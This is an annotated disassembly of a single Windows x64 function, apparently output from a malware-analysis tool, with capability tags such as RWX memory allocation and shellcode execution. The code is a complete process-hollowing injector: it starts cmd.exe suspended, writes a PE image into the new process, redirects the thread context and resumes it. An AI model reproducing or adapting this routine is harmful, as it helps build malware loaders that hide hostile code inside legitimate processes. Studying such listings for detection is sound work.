Function at 0x180001060
Capabilities:
Allocate or change rwx memory
Create process on windows
Enumerate pe sections
Execute shellcode via indirect call
Resolve function by parsing pe exports
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x628
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x98], 0
lea rcx, [0x180002080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [0x180002068]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x90], rax
lea rcx, [0x1800020b8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [0x180002098]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x98], rax
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x68]
call section..text
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0xe0]
call section..text
mov r8d, 0x4d0
xor edx, edx
lea rcx, [rsp + 0x150]
call section..text
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0xb0]
call section..text
mov dword [rsp + 0x180], 0x10007
mov rax, qword [rsp + 0x630]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x630]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x58]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x14
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x648]
lea rcx, str.C:WindowsSystem32cmd.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1800013fb
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [rsp + 0x88], eax
lea rdx, [rsp + 0x150]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1800013fb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0x90]
test eax, eax
je 0x1800013fb
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rax, qword [rsp + 0x58]
mov rdx, qword [rax + 0x30]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
je 0x1800013fb
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x630]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800013fb
mov dword [rsp + 0x50], 0
jmp 0x1800012b1
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov rax, qword [rsp + 0x58]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x50], eax
jge 0x180001338
movsxd rax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x80]
mov eax, dword [rcx + rax + 0x10]
movsxd rcx, dword [rsp + 0x50]
imul rcx, rcx, 0x28
mov rdx, qword [rsp + 0x80]
mov ecx, dword [rdx + rcx + 0x14]
mov rdx, qword [rsp + 0x630]
add rdx, rcx
mov rcx, rdx
movsxd rdx, dword [rsp + 0x50]
imul rdx, rdx, 0x28
mov r8, qword [rsp + 0x80]
mov edx, dword [r8 + rdx + 0xc]
mov r8, qword [rsp + 0x60]
add r8, rdx
mov rdx, r8
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x1800012a7
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x20], rax
mov r9d, 0x30
lea r8, [rsp + 0xb0]
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0x98]
test eax, eax
jne 0x1800013fb
mov rax, qword [rsp + 0xb8]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0x60]
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800013fb
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1d0], rax
lea rdx, [rsp + 0x150]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1800013fb
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
je 0x1800013fb
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x88]
jmp 0x180001427
cmp qword [rsp + 0x68], 0
je 0x180001422
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x180001427
mov eax, 0xffffffff
add rsp, 0x628
ret